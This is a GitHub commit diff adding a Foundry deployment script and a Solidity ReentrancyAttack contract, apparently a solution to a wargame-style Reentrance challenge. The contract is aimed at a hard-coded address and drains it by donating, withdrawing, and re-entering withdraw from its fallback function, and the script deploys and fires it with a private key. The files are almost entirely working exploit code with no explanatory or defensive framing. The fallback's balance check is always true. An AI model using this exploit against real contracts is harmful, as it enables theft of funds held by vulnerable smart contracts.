File tree Expand file tree Collapse file tree 2 files changed +49
-0
lines changed
Expand file tree Collapse file tree 2 files changed +49
-0
lines changed Original file line number Diff line number Diff line change 1+ // SPDX-License-Identifier: UNLICENSED
2+ pragma solidity ^ 0.8.13 ;
3+
4+ import {Script, console} from "forge-std/Script.sol " ;
5+ import {ReentrancyAttack} from "../../src/ReentrancyAttack.sol " ;
6+
7+ contract DeployReentrancy is Script {
8+
9+ ReentrancyAttack attacker;
10+
11+ function run () external {
12+
13+ uint256 pkey = vm.envUint ("PKEY " );
14+ vm.startBroadcast (pkey);
15+
16+ attacker = new ReentrancyAttack {value: 0.001 ether }();
17+ attacker.attack ();
18+
19+ vm.stopBroadcast ();
20+ }
21+ }
Original file line number Diff line number Diff line change 1+ // SPDX-License-Identifier: UNLICENSED
2+ pragma solidity ^ 0.8.13 ;
3+
4+ interface IReentrance {
5+ function withdraw (uint256 _amount ) external ;
6+ function donate (address _to ) external payable ;
7+ }
8+
9+ contract ReentrancyAttack {
10+
11+ address target = 0x2E7462F2E74b6bFf17B7C2f5AA0Ba40A6a439e98 ;
12+ uint256 amountToWithdraw;
13+
14+ constructor () payable {
15+ amountToWithdraw = msg .value ;
16+ }
17+
18+ function attack () external payable {
19+ IReentrance (target).donate {value : amountToWithdraw}(address (this ));
20+ IReentrance (target).withdraw (amountToWithdraw);
21+ }
22+
23+ fallback () external payable {
24+ if (target.balance >= 0 ) {
25+ IReentrance (target).withdraw (amountToWithdraw);
26+ }
27+ }
28+ }
You can’t perform that action at this time.
0 commit comments